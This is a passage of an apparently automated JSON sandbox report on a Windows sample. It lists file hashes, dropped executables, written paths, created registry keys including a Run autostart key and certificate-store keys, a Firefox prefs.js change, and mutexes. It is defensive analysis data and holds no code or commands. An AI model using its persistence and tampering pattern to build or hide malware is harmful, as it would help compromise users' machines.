ys.dll","urlmon.dll","crypt32.dll","pnrpnsp.dll","userenv.dll","IPHLPAPI.DLL","mpr.dll","rpcrt4.dll","sechost.dll","NapiNSP.dll","winhttp.dll","ntdll.dll","bcryptprimitives.dll","ws2_32.dll","aepic.dll","dbghelp.dll","wbemprox.dll","ProtobufLite.dll","ucrtbase.dll","profapi.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"is-5TTVG.tmp","sha256":"88509f3532f971f0b7731fc98a4dc543033282b31ff4af7549ddcbd7672dc823","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"is-OLNLL.tmp","sha256":"90157dc84e575a50cc539702f7f4232ac1e2d3dec4d710aaf01580b638efbf9e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"is-STVVU.tmp","sha256":"beee609a02cc2372655cb1839bb6d4dcbbbcba5b25ee2205b80e6d6117e11481","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"is-73LIP.tmp","sha256":"a68a9ac35aa1e183fe3bd9e7144259631530db07502112a339e5e1c8dccc9a31","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"is-AC9AD.tmp","sha256":"18558135c95a69f56e1b27907fe7a45b95baee3ea2935174b35c280944e14e3c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"is-D5DRT.tmp","sha256":"a62f73b7cef738ebd9963744665aa85772b428aef214f07f8112ff3816b09241","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"is-EUUEJ.tmp","sha256":"2728e26af764a64dd31f6df20bad9ce68f27a1c54628abf7353a62f5e67a9dff","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"adcfaeaffbebbc.exe","sha256":"ee2497c17e190d848012439ed2a07fc49d0cccca3c303b8d0108a9ef02c7a96d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"is-O1AIO.tmp","sha256":"b533aa0c83b8ff52486019e47c67ae0787c1cdecdd39b47ba1f99153dc4aad02","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"671ECFCFE70F269A.exe","sha256":"534a44895c898ab6246d0123f48e71823f4a26965fbc3f61c8e8c9c7a1d28857","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"A068533DBF09758809014.exe","sha256":"eb25f6d3dca1828c253864aca66915a852f96def70321d138d2b0f800360cacc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"bnciobys.exe","sha256":"5dd299f67b1c5651f3d6b8e420efdd09e0cbc4c221fee6097865868c08fde903","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"foipbiu.exe","sha256":"f764eb491783312f88d6c05026bcb29d0dc320007dee7cddde1254c26b4d3921","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"ivlnbis.exe","sha256":"ee2497c17e190d848012439ed2a07fc49d0cccca3c303b8d0108a9ef02c7a96d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"ponbyxs.exe","sha256":"191ee35d59e9a5931693a774419205bd3055408f449328a4d129ea2a4e61c19c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"xvpbhsn.exe","sha256":"3b037b318dc2f20fb69cf335aaca95b436c152ebe00893d26c850d3334c9b1ed","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"6BD.tmp.Public-key_73.18.9_INSTALL.exe","sha256":"c5bfd0abb2e443daf2b319726ee97aadc657aacde9f466228efe908e2193e9b3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"EE51.tmp.u6j3phm900pz.exe","sha256":"5dd299f67b1c5651f3d6b8e420efdd09e0cbc4c221fee6097865868c08fde903","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"F826.tmp.syibvx.exe","sha256":"ee2497c17e190d848012439ed2a07fc49d0cccca3c303b8d0108a9ef02c7a96d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"taskhost.exe","sha256":"6f7cfb44663b36c87932c8460aa414d0a77209d2a0795b12ad8f8e79c7f03928","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"is-2I6KE.tmp","sha256":"c08e0bf24fe8e71f778249812eac99f6d4677eacc30d92c065a3da3f8011bd38","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"is-73K58.tmp","sha256":"aeef8186131390456d9ea415b07c0260a50ecc8dbdc7f3b3b833ea3511160756","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"is-8RLQN.tmp","sha256":"5dc711b1f190df5b1257b92883e9c3f10cb4e953591da13dd50d9f0c7a4af695","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"is-G0DFG.tmp","sha256":"e30874ceaf6b8dfe72ba67e5c1f21027d79cb3a873a32eb12c5ed89bfa660d1f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"is-0D0DF.tmp","sha256":"8f4758f2b671e901cfc743fb7f3bd7b63094d84d55b4d8f7eb0722ba1205a6d2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"prefs.js","sha256":"cf025a5f20aefd170ab116ec57ce679bcc6e23cab35588da7267eac523eb9aec","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"socxtnre.exe","sha256":"534a44895c898ab6246d0123f48e71823f4a26965fbc3f61c8e8c9c7a1d28857","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"syncappk.exe","sha256":"eb25f6d3dca1828c253864aca66915a852f96def70321d138d2b0f800360cacc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%APPDATA%\\foipbiu.exe","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%APPDATA%\\ivlnbis.exe","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%APPDATA%\\syncappk.exe","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%APPDATA%\\bnciobys.exe","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%APPDATA%\\socxtnre.exe","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%APPDATA%\\xvpbhsn.exe","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%APPDATA%\\ponbyxs.exe","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%ALLUSERSPROFILE%\\adcfaeaffbebbc.exe","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\A068533DBF09758809014","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%APPDATA%\\A068533DBF09758809014\\A068533DBF09758809014.exe","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\ywzu7870.default\\prefs.js","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\A068533DBF0975880901432","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%APPDATA%\\A068533DBF09758809014","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\A068533DBF0975880901464","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\EE51.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\EE51.tmp.u6j3phm900pz.exe","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\F826.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\F826.tmp.syibvx.exe","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\6BD.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\6BD.tmp.Public-key_73.18.9_INSTALL.exe","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\is-2U074.tmp\\6BD.tmp.Public-key_73.18.9_INSTALL.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\is-2QAJS.tmp\\_isetup\\_setup64.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\is-4K79B.tmp\\6BD.tmp.Public-key_73.18.9_INSTALL.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\is-K1VT2.tmp\\_isetup\\_setup64.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%ALLUSERSPROFILE%\\f43ba8be-46d3-49e9-a2cf-890eeaadd407\\is-O1AIO.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%ALLUSERSPROFILE%\\f43ba8be-46d3-49e9-a2cf-890eeaadd407\\is-0D0DF.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%APPDATA%\\671ECFCFE70F269A\\671ECFCFE70F269A.exe","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\is-2Q7BH.tmp\\zyxwvuts.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\is-9N6R5.tmp\\_isetup\\_setup64.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\is-PAI50.tmp\\zyxwvuts.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\is-DI2GJ.tmp\\_isetup\\_setup64.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%ALLUSERSPROFILE%\\9cde36b5-8801-40b4-8ab2-378a2730bd18\\is-EUUEJ.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%ALLUSERSPROFILE%\\9cde36b5-8801-40b4-8ab2-378a2730bd18\\is-D5DRT.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%ALLUSERSPROFILE%\\9cde36b5-8801-40b4-8ab2-378a2730bd18\\is-73LIP.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%ALLUSERSPROFILE%\\9cde36b5-8801-40b4-8ab2-378a2730bd18\\is-AC9AD.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%ALLUSERSPROFILE%\\9cde36b5-8801-40b4-8ab2-378a2730bd18\\is-8RLQN.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%ALLUSERSPROFILE%\\9cde36b5-8801-40b4-8ab2-378a2730bd18\\is-G0DFG.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"D:\\a\\_work\\1\\s\\binaries\\amd64ret\\bin\\amd64\\msvcp140.amd64.pdb","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"e:\\hudson\\workspace\\Ludp.Win.sdk\\x64\\Release\\ludp.pdb","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"D:\\a\\_work\\1\\s\\binaries\\amd64ret\\bin_spectre\\amd64\\vcruntime140_1.amd64.spectre.pdb","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"d:\\agent\\_work\\2\\s\\binaries\\amd64ret\\bin\\amd64\\vcruntime140.amd64.pdb","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%USERPROFILE%\\taskhost.zip","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\is-J5QF5.tmp\\ponbyxs.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\is-OAQGA.tmp\\_isetup\\_setup64.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\is-T9T06.tmp\\ponbyxs.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%TEMP%\\is-VK4LJ.tmp\\_isetup\\_setup64.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%ALLUSERSPROFILE%\\09378f14-4f77-4e5a-baac-0eb9e134a52d\\is-OLNLL.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%ALLUSERSPROFILE%\\09378f14-4f77-4e5a-baac-0eb9e134a52d\\is-73K58.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%ALLUSERSPROFILE%\\09378f14-4f77-4e5a-baac-0eb9e134a52d\\is-5TTVG.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%ALLUSERSPROFILE%\\09378f14-4f77-4e5a-baac-0eb9e134a52d\\is-STVVU.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"path":"%ALLUSERSPROFILE%\\09378f14-4f77-4e5a-baac-0eb9e134a52d\\is-2I6KE.tmp","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\ADCFAEAFFBEBBC\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\SESSIONINFO\\1\\APPLICATIONVIEWMANAGEMENT\\W32:000000000002036C\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\SESSIONINFO\\1\\APPLICATIONVIEWMANAGEMENT\\W32:000000000003036C\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\SECURITY AND MAINTENANCE\\CHECKS\\{E8433B72-5842-4D43-8645-BC2C35960837}.CHECK.101\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\SECURITY AND MAINTENANCE\\CHECKS\\{E8433B72-5842-4D43-8645-BC2C35960837}.CHECK.102\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\SECURITY AND MAINTENANCE\\CHECKS\\{E8433B72-5842-4D43-8645-BC2C35960837}.CHECK.104\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\SECURITY AND MAINTENANCE\\CHECKS\\{E8433B72-5842-4D43-8645-BC2C35960837}.CHECK.100\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\DESKTOP\\NAMESPACE\\\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\DESKTOP\\NAMESPACE\\\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\DESKTOP\\NAMESPACE\\DELEGATEFOLDERS\\\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\RESTARTMANAGER\\SESSION0000\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_1915&PID_EEE0\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_60F6\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_60F7\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_60F8\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_60F9\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_60FA\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_60FB\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_60FC\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_6125\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_6139\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_613A\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_613B\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_613C\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_616A\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_616B\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_6161\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_6169\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_61A3\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_61A2\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_61A4\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_61A5\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_619C\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_619B\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_619D\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_61A6\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_6176\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_6177\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_6178\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_6179\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_617A\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_617B\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_61A7\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_61A8\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_61A9\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_61AA\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_17EF&PID_61AB\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\LENOVO\\HOTKEY\\VID_0461&PID_4F2B\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\RESTARTMANAGER\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\SESSIONINFO\\1\\APPLICATIONVIEWMANAGEMENT\\W32:000000000002036C\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\SESSIONINFO\\1\\APPLICATIONVIEWMANAGEMENT\\W32:000000000003036C\\","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7388:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7388:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7388:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"\\